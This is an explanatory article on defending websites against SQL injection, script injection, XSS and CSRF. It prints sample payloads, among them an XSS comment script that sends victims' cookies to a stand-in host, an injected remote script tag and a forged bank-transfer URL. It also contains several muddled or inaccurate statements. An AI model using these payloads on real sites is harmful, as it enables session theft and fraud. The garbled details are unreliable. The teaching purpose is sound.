Defense against Common Web Attacks

The Internet is a powerful tool that connects us with users from across the globe. However, the might of the Internet has also made it vulnerable to abuse. Hackers can launch various kinds of web attacks to obtain critical and sensitive information, such as bank accounts, health records, and trade secrets. Common web attacks include script injections, SQL Injections, DDoS (Distributed Denial of Service) attacks, DNS hijacking, port vulnerability scanning, brute force password cracking, XSS and CSRF attacks. In this article, we will look at some of these attacks in detail and introduce some methods to protect against these attacks.

SQL Injection

Today, most websites are dynamic, for example, CMS websites, transaction websites, and P2P/P2C websites. These websites use languages such as PHP, .Net, Java, ROR, Python, and NodeJS for backend development, and MySQL, Oracle, and SQL Server databases for data storage. SQL injection is a type of attack that is specifically designed to target such websites. Let us examine how SQL injection works.

Assume that the URL to a list page is in the following format: https://xxx.xxx/list.php?q=finished

By accessing this URL, you can obtain all the completed orders recorded on this user list. Then, you can see that the code for accessing the page on the backend, which looks like the following: $sql = 'select * from orders where status = \'' . status. '\' and userId = \'' . userId;

The statement above is invulnerable as the filter condition "userId" only allows you to query your orders. However, when a request is in the following format: https://xxx.xxx/list.php?q=finished'--, the concatenated statement may look like the following: $sql = 'select * from orders where status = 'finished'--and userId =' xxxx ';

Given that "--" is used for commenting in databases, the filter condition "and userId='xxxx'" will not work in this case. By executing this statement, hackers can obtain the data about any completed orders on this website.

To prevent SQL injection attacks, follow these simple steps:

Check all parameters thoroughly.
Escape SQL wherever SQL parameter transfer occurs and always escape SQL-sensitive characters.
Do not directly concatenate strings.

Script Injection

When you see an unexpected script like <script src="http://hacker.test/hack.js"></script> on your web page, your page has probably suffered from a script injection attack. There are multiple ways of executing script injection attacks, such as modifying the web page by obtaining server permissions, injecting scripts through SQL injection methods, and injecting scripts by exploiting web page interaction vulnerabilities. To make matters worse, script injection and SQL injection vulnerability scanning robots for scanning web site vulnerabilities are easily available on the internet.

By initiating script injection attacks, hackers can inject * programs, modify page content, redirect users to other websites, route traffic, and collect unauthorized information.

Cross Site Scripting (XSS) attacks

XSS is just one of many script injection attack methods, but it is very popular among hackers as it allows them to inject scripts easily. The following is a simple example of an XSS attack:

Consider a website that supports comments and replies. Suppose someone enters the following script in the comment box:

<script>
var i = document.createElement('img');
i.setAttribute('src', 'http://attach.com/x.js?c='+document.cookie);
document.body.appendChild(i);
</script>

When other users view the submitted comment, the hacker can obtain cookie information about the user (including session ID). The hacker can then perform operations allowed only for the original user by loading cookies from a script.

To prevent script injection and XSS attacks, you should ensure the following:

Only open ports required on the server, such as ports 80, 443 and 22.
Always check parameters, and adopt HTML escape for content submitted on the page.
Use URL encode escape for content submitted through the URL.
Set up human-machine identification (such as by using verification codes) at the login and sign-up entry-points.

Cross-Site Request Forgery (CSRF)

Many users do not fully understand the differences of CSRF with XSS. Common XSS attacks are specific to websites, and work by injecting scripts to web sites to obtain user information. Comparatively, CSRF is more advanced as it can bypass injection and enable hackers to obtain user information directly without hacking users' cookie information.

Though CSRF is less notorious, many websites suffer from CSRF vulnerabilities. Programmers first cited it as a security threat in 2000. However, it did not attract attention in China until 2006. In 2008, reports emerged that multiple large communities and interactive websites in and outside of China suffered from CSRF vulnerabilities, including Baidu HI, NYTimes.com, Metafilter, and YouTube. Even today, many websites on the Internet lack adequate protection against CSRF, making it a significant threat to network security.

The following diagram explains the principle of CSRF attacks:

Defense against Common Web Attacks

The following example (abstracted from the internet) further illustrates the process illustrated in the figure.

Bob saves his money in a bank. Bob transfers USD $100,000 USD to the account bob2 by sending the following request to the website of the bank http://bank.example/withdraw?account=bob&amount=1000000&for=bob2. Normally, when the website receives the request, its server verifies if the request is from a valid session. Only then can Bob log in to his account successfully.

The hacker Mallory also has an account in the same bank, and he knows that he can transfer money through the URL above. Then, Mallory can send the following request to the website of the bank: http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory. However, this request will not work as the request originates from Mallory and not Bob and it cannot pass security authentication. To circumvent the authentication, Mallory tries to steal Bob's authentication information with a CSRF attack. Mallory injects the code (src="http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory") to the website, and induces Bob to access the website through spear phishing. Accessing the website sends the above URL to the bank server from Bob's browser, and the cookies stored in the browser are sent to the server along with the request.

In most cases, this request will fail as Bob's authentication information is still missing. However, this information will remain in the cookies of the browser if the session between the browser and the bank website has not expired. This could happen a few seconds after Bob has accessed the website. If this is the case, the URL request will receive a response, prompting the transfer of money from Bob's account to Mallory's account without Bob's knowledge. Later, when Bob queries the bank for transfer logs, he will notice money missing from his account. He will not be able to find any attack records but only a valid transfer request authorized by himself.

To defend against CSRF attacks, you can implement the following steps:

Verifying the HTTP Referer field
Referer is a header field defined by the HTTP protocol. It records the source address of the current HTTP request. Through Referer, you can easily identify the source of the current request to implement basic protection. However, it is possible to forge it if you are using IE 6 because the requester initiates Referer.
Ensuring correct usage of GET
We use GET when we do not need to make changes to resource attributes such as viewing, enumerating, and displaying. Since the URL displays the GET parameter, it is easy to use but also suffers from poor security. Thus, you should avoid opening insecure ports using GET.
Appending a token to the request address and verify the token later
In addition to using GET correctly, you can use non-GET requests (such as POST) to create, modify, and delete resources as well as to perform some other sensitive operations. In the meantime, you need to generate a unique token for each user, store the token in a cookie or local storage and append it to POST requests. However, this method is defective as XSS can easily hack users' cookie or local storage.
Adding a custom attribute in the HTTP header and verify the attribute later
Similarly, this method uses tokens for authentication. However, it does not append tokens to HTTP requests as parameters but appends them to a custom attribute in the HTTP header. By using the XMLHttpRequest class, you can append the csrftoken HTTP header attribute to all requests of this class at one time, while assigning token values to the attribute. This prevents the system from displaying the address requested through XMLHttpRequest in the address bar of the browser, which in turn helps stop the leakage of tokens to other websites through Referer.
Using pseudo-random numbers for different lists
Different lists contain different pseudo-random numbers. In fact, multiple popular open-source web frameworks, such as Drupal for PHP and Flask for Python, follow this practice. Here are the operating principles of pseudo-random numbers:
- On the generation of a page list, the backend server generates a pseudo-random number, places it in a hidden field of the list and caches the pseudo-random number on the backend.
- Upon submitting the list, the backend server verifies that the pseudo-random number is correct and in working condition while deleting the cached pseudo-random number.

Conclusion

In this article, we discussed some of the common web-based attacks that websites and users suffer from, including SQL injections, script injections, XSS attacks, and CSRF. We looked at how each of them works, while also prescribing some steps that can help defend against such attacks.